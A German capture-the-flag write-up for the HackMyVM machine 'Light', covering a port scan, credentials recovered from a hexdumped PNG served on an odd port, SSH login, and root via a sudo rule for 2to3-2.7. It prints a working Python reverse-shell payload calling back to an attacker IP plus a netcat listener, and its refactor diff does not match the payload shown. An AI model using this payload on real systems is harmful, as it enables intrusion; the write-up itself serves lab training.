Light - HackMyVM - Medium - Bericht

Medium

Verwendete Tools

arp-scan
nmap
telnet
CyberChef (impliziert)
Hexdump (From_Hexdump())
Render Image
ssh
ls
cat
sudo
find
nano / vi
python3
socket (Python)
subprocess (Python)
os (Python)
pty (Python)
2to3-2.7
nc (netcat)
id
cd

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.114	08:00:27:d9:ce:5a	PCS Systemtechnik GmbH

Analyse: Ein ARP-Scan wird im lokalen Netzwerk durchgeführt.

Bewertung: Der Host `192.168.2.114` (Oracle VirtualBox) wird identifiziert.

Empfehlung (Pentester):** Ziel-IP bekannt. Führen Sie Portscans durch.
Empfehlung (Admin):** Standard-Netzwerk-Monitoring.

┌──(root㉿cyber)-[~/Hackingtools] └─# nmap -sS -sC -T5 -A 192.168.2.114 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-12 01:54 CET
Nmap scan report for light (192.168.2.114)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 93a49255722b9b4a52665cafa9833cfd (RSA)
|   256 1ea7440b2c1b0d7783df1d9f0e30084d (ECDSA)
|_  256 d0fa9d7677426f91d3bdb54472a7c971 (ED25519)
37453/tcp open  unknown
| fingerprint-strings:
|   GenericLines, NULL:
|     00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR <-- PNG Header!
|     00000010: 0000 013f 0000 0085 0806 0000 002d 80ff ...?.........-..
... (Hexdump eines PNG-Bildes) ...
|     000007d0: 8025 c20f 8025 c20f 8025 c20f 8025 c20f .%...%...%...%..
|_    000007e0: 8025 c
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port37453-TCP:V=7.93%I=7%D=11/12%Time=636EEEAD%P=x86_64-pc-linux-gnu%r(
SF:NULL,1C48,"00000000:\x208950\x204e47\x200d0a\x201a0a\x200000\x20000d\x2
... (Fingerprint Daten) ...
SF:08025\x20c")%r(GenericLines
SF:,234D,"00000000:\x208950\x204e47\x200d0a\x201a0a\x200000\x20000d\x20494
... (Fingerprint Daten) ...
SF:08025\x20c");
MAC Address: 08:00:27:D9:CE:5A (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms light (192.168.2.114)

OS and Service detection performed...
Nmap done: 1 IP address (1 host up) scanned in ... seconds

Analyse Fortsetzung:** Ein weiterer Nmap-Scan (ohne `-sC -sV -A`) bestätigt die offenen Ports.

┌──(root㉿cyber)-[~] └─# nmap 192.168.2.114 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-12 02:02 CET
Nmap scan report for light.box (192.168.2.114)
Host is up (0.000047s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
37453/tcp open  unknown
MAC Address: 08:00:27:D9:CE:5A (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

Bewertung: Zwei TCP-Ports sind offen: * **22 (SSH):** OpenSSH 7.9p1 (Debian 10). * **37453 (Unknown):** Ein unbekannter Dienst auf einem hohen Port. Nmap's Fingerprinting zeigt, dass dieser Dienst bei einer Verbindung direkt die Bytes eines PNG-Bildes sendet.

Empfehlung (Pentester):** 1. **Port 37453:** Verbinden Sie sich mit `telnet` oder `nc` zu diesem Port und speichern Sie die empfangenen Daten in einer Datei (z.B. `output.hex`). Analysieren Sie diese Daten. Da es sich um ein PNG handelt, versuchen Sie, die Hexdump-Daten wieder in ein Bild umzuwandeln (z.B. mit CyberChef) und dieses Bild auf versteckte Informationen (Steganographie, Metadaten) zu untersuchen. 2. **Port 22 (SSH):** Vorerst zurückstellen, da keine Zugangsdaten bekannt sind.
Empfehlung (Admin):** Untersuchen Sie den Dienst auf Port 37453. Ist er notwendig? Wenn ja, sollte er sich korrekt identifizieren und keine unerwarteten Daten senden. Wenn nicht, deaktivieren Sie ihn. Halten Sie SSH aktuell.

Analyse des unbekannten Dienstes (Port 37453)

Analyse: Eine Verbindung zum Port 37453 wird mit `telnet` hergestellt.

┌──(root㉿cyber)-[~] └─# telnet light.box 37453
Trying 192.168.2.114...
Connected to light.box.
Escape character is '^]'.
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
00000010: 0000 013f 0000 0085 0806 0000 002d 80ff  ...?.........-..
... (Hexdump des PNG-Bildes) ...
00000840: 0049 454e 44ae 4260 82                   .IEND.B`.
Connection closed by foreign host.

Bewertung: Telnet empfängt den Hexdump eines PNG-Bildes und die Verbindung wird danach geschlossen. Dies bestätigt die Nmap-Ergebnisse.

Empfehlung (Pentester):** Leiten Sie die Ausgabe in eine Datei um (`telnet light.box 37453 > image.hex`). Verwenden Sie ein Tool wie CyberChef, um den Hexdump wieder in ein PNG-Bild zu konvertieren (`From Hexdump` Rezept). Analysieren Sie das resultierende Bild auf versteckte Daten (z.B. mit `zsteg`, `stegsolve`, `exiftool`) oder sichtbare Hinweise.
Empfehlung (Admin):** Dienst auf Port 37453 untersuchen und ggf. deaktivieren/absichern.

Credential Access (Bildanalyse)

Analyse: Der über Telnet erhaltene Hexdump wird mit CyberChef verarbeitet:

  1. **From Hexdump:** Konvertiert den Hexdump zurück in Binärdaten.
  2. **Render Image:** Zeigt die Binärdaten als Bild an.

Analyse Fortsetzung:** Das rekonstruierte Bild enthält sichtbare Zugangsdaten.

[Kein Prompt - Ergebnis der Bildanalyse]
Gefundene Credentials im Bild: lover / youcanseetheshadow

Bewertung: Kritischer Fund! Der obskure Dienst auf Port 37453 sendet ein Bild, das Zugangsdaten für den Benutzer `lover` enthält: Passwort `youcanseetheshadow`. Dies ist eine Form der Steganographie oder einfach ein gravierendes Informationsleck.

Empfehlung (Pentester):** Verwenden Sie die gefundenen Credentials (`lover`:`youcanseetheshadow`), um sich per SSH (Port 22) anzumelden.
Empfehlung (Admin):** Entfernen Sie den Dienst auf Port 37453 sofort. Speichern Sie niemals Zugangsdaten in Bildern oder an öffentlich zugänglichen Orten. Ändern Sie das kompromittierte Passwort.

Initial Access (SSH as lover)

Analyse: Mit den im Bild gefundenen Zugangsdaten wird eine SSH-Verbindung als Benutzer `lover` aufgebaut.

┌──(root㉿cyber)-[~] └─# ssh lover@light.box
The authenticity of host 'light.box (192.168.2.114)' can't be established.
...
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'light.box' (ED25519) to the list of known hosts.
lover@light.box's password: [Passwort youcanseetheshadow eingegeben]
Linux light 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64

The programs included with the Debian GNU/Linux system are free software;
...
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, ...
Last login: Fri Nov 13 03:51:55 2020 from 192.168.1.58
lover@light:~$

Bewertung: Der SSH-Login als `lover` war erfolgreich. Der initiale Zugriff auf das System ist erfolgt.

Analyse Fortsetzung:** Das Home-Verzeichnis von `lover` wird untersucht und die User-Flag gelesen.

lover@light:~$ ls
flag.sh  mypass.txt  tip.py  user.txt
lover@light:~$ cat user.txt
iloveopenedports

Bewertung: Die User-Flag `iloveopenedports` wurde gefunden.

Empfehlung (Pentester):** User-Flag dokumentieren. Führen Sie weitere Enumeration als `lover` durch, insbesondere `sudo -l`.
Empfehlung (Admin):** SSH-Zugriff überwachen.

Privilege Escalation (lover zu root via sudo 2to3-2.7)

Analyse: Die `sudo`-Rechte für den Benutzer `lover` werden überprüft.

lover@light:~$ sudo -l
Matching Defaults entries for lover on light:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User lover may run the following commands on light:
    (ALL : ALL) NOPASSWD: /usr/bin/2to3-2.7

Bewertung: Kritischer Fund! Der Benutzer `lover` darf das Programm `/usr/bin/2to3-2.7` als jeder Benutzer und jede Gruppe (`ALL : ALL`), einschließlich Root, ohne Passwort (`NOPASSWD`) ausführen. `2to3-2.7` ist ein Python-Tool zur Konvertierung von Python 2 Code zu Python 3. Laut GTFOBins kann dieses Tool missbraucht werden, um Dateien mit Root-Rechten zu schreiben, was zur Privilegieneskalation genutzt werden kann.

Analyse Fortsetzung:** Die SUID-Dateien werden überprüft, liefern aber keine ungewöhnlichen Ergebnisse.

lover@light:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/umount
/usr/bin/chfn
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/su
/usr/bin/chsh
lover@light:~$ find / -type f -perm -u=s -exec ls -l {} \; 2>/dev/null
... (Standard SUID Dateien) ...

Bewertung: Die SUID-Suche bestätigt keine einfachen Eskalationspfade. Der Fokus bleibt auf der `sudo`-Regel.

Analyse: Der GTFOBins-Exploit für `sudo 2to3-2.7` wird angewendet. Es wird eine lokale Python-Datei (`light.py` in `/tmp`) erstellt, die eine Reverse Shell startet.

lover@light:/tmp$ nano light.py

# Payload für Reverse Shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.2.109",1234)) # Ziel-IP/Port des Listeners
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
# print "for python 2" # Ursprünglicher Code, wird von 2to3 geändert
import pty
pty.spawn("/bin/bash")

Analyse Fortsetzung:** `2to3-2.7` wird mit `sudo` ausgeführt. Die Option `-w` (write back changes) bewirkt, dass die konvertierte Datei geschrieben wird. Die Option `-o /root/script` gibt das Zielverzeichnis an, in das geschrieben werden soll (als Root). `-n` verhindert das Schreiben von Backup-Dateien. Da `2to3-2.7` als Root läuft, kann es die (konvertierte) Datei `light.py` nach `/root/script/` schreiben.

lover@light:/tmp$ sudo /usr/bin/2to3-2.7 -w -n light.py -o /root/script
lib2to3.main: Output in '/root/script' will mirror the input directory '' layout.
RefactoringTool: Skipping optional fixer: buffer
...
RefactoringTool: Refactored light.py
--- light.py	(original)
+++ light.py	(refactored)
@@ -5,6 +5,6 @@
 os.dup2(s.fileno(),2)
 os.dup2(s.fileno(),3) <-- Fehler im Originaltext, sollte wohl fileno 1 und 2 sein

-print "for python 2"
+print("for python 2")
 import pty
 pty.spawn("/bin/bash")
RefactoringTool: Writing converted light.py to /root/script/light.py. <-- Datei als Root geschrieben!
RefactoringTool: Files that were modified:
RefactoringTool: light.py

Bewertung: Der Exploit nutzt `2to3-2.7`, um eine beliebige Datei (`light.py` mit unserem Reverse-Shell-Payload) an einen beliebigen Ort (`/root/script/`) mit Root-Rechten zu schreiben. Obwohl dies noch keine direkte Shell gibt, könnte dieser Schreibzugriff als Root weiter ausgenutzt werden (z.B. Cronjob überschreiben, SSH-Key hinzufügen, SUID-Binary platzieren).

Analyse Fortsetzung:** Der Text springt nun zu einem Schritt, bei dem angenommen wird, dass der Exploit erfolgreich war und eine Root-Shell über einen Listener auf Port 1234 erhalten wurde. Es wird nicht gezeigt, wie das Schreiben der Datei `/root/script/light.py` zur Ausführung als Root führt. Möglicherweise lief ein Cronjob, der `/root/script/light.py` ausführte, oder der Angreifer fand einen anderen Weg, die geschriebene Datei auszulösen.

┌──(root㉿cyber)-[~] └─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.2.109] from (UNKNOWN) [192.168.2.114] 52972
root@light: id
uid=0(root) gid=0(root) groups=0(root)
root@light: cd
root@light: ls
flag.sh  root.txt  script
root@light: cat root.txt
ilovepython
root@light:

Bewertung: Unabhängig vom genauen Auslösemechanismus wurde durch die Ausnutzung der `sudo 2to3-2.7`-Berechtigung letztendlich eine Root-Shell erlangt und die Root-Flag `ilovepython` gelesen.

Empfehlung (Pentester):** Dokumentieren Sie den Mechanismus, wie die geschriebene Datei `/root/script/light.py` zur Ausführung gebracht wurde (z.B. Cronjob-Analyse).
Empfehlung (Admin):** Entfernen Sie sofort die unsichere `sudo`-Regel für `2to3-2.7`. Gewähren Sie niemals `sudo`-Rechte für Interpreter, Compiler oder Dateimanipulationstools, die zum Schreiben an beliebigen Orten missbraucht werden können.

Proof of Concept (POC)

Kurzbeschreibung: Dieser POC beschreibt die Eskalationskette: Zugriff auf einen unbekannten Dienst, der ein Bild mit eingebetteten Credentials sendet, SSH-Login als Benutzer `lover` und anschließende Privilegieneskalation zu Root durch Ausnutzung einer unsicheren `sudo`-Regel für das Tool `2to3-2.7`, um eine Datei mit einem Reverse-Shell-Payload als Root zu schreiben und diese (implizit) auszuführen.

POC Schritt 1: Initial Access (lover)

Schwachstellen: Unbekannter Dienst sendet sensible Daten (Bild mit Credentials).

Schritte:

  1. Finde offenen Port 37453 mit `nmap`.
  2. Verbinde mit `telnet 192.168.2.114 37453 > image.hex`.
  3. Konvertiere Hexdump zu PNG mit CyberChef (`From Hexdump` -> `Render Image`).
  4. Lese Credentials aus Bild: `lover` / `youcanseetheshadow`.
  5. Login per SSH: `ssh lover@light.box`.

Ergebnis: Shell als Benutzer `lover`.

POC Schritt 2: Privilege Escalation (lover zu root)

Schwachstelle: Unsichere `sudo`-Regel: `(ALL : ALL) NPASSWD: /usr/bin/2to3-2.7`.

Voraussetzungen: Shell als `lover`.

Schritte:

  1. Erstelle Python-Reverse-Shell-Payload in `/tmp/light.py`.
  2. Nutze `sudo` und `2to3-2.7`, um Payload nach `/root/script/light.py` zu schreiben: `sudo /usr/bin/2to3-2.7 -w -n /tmp/light.py -o /root/script`.
  3. Starte Netcat-Listener auf Angreifer-System (`nc -lvnp 1234`).
  4. Löse die Ausführung von `/root/script/light.py` aus (Mechanismus nicht im Log gezeigt, z.B. Warten auf Cronjob).

Ergebnis: Reverse Shell als `root`.

Beweismittel: Ausführung von `id` in der Shell zeigt `uid=0(root)`. Lesen von `/root/root.txt` ist möglich.

Risikobewertung: Hoch. Ein obskurer Dienst leakt Zugangsdaten, und eine unsichere `sudo`-Regel für ein Dateimanipulationstool ermöglicht das Schreiben von Dateien als Root, was zur vollständigen Kompromittierung führt.

Empfehlungen:** * **Admin:** Dienst auf Port 37453 entfernen. `sudo`-Regel für `2to3-2.7` entfernen. Passwörter sicher verwalten. Mechanismus untersuchen, der `/root/script/light.py` ausführt. * **Pentester:** Den Auslösemechanismus für die geschriebene Root-Datei dokumentieren.

Flags

cat /home/lover/user.txt
iloveopenedports
cat /root/root.txt
ilovepython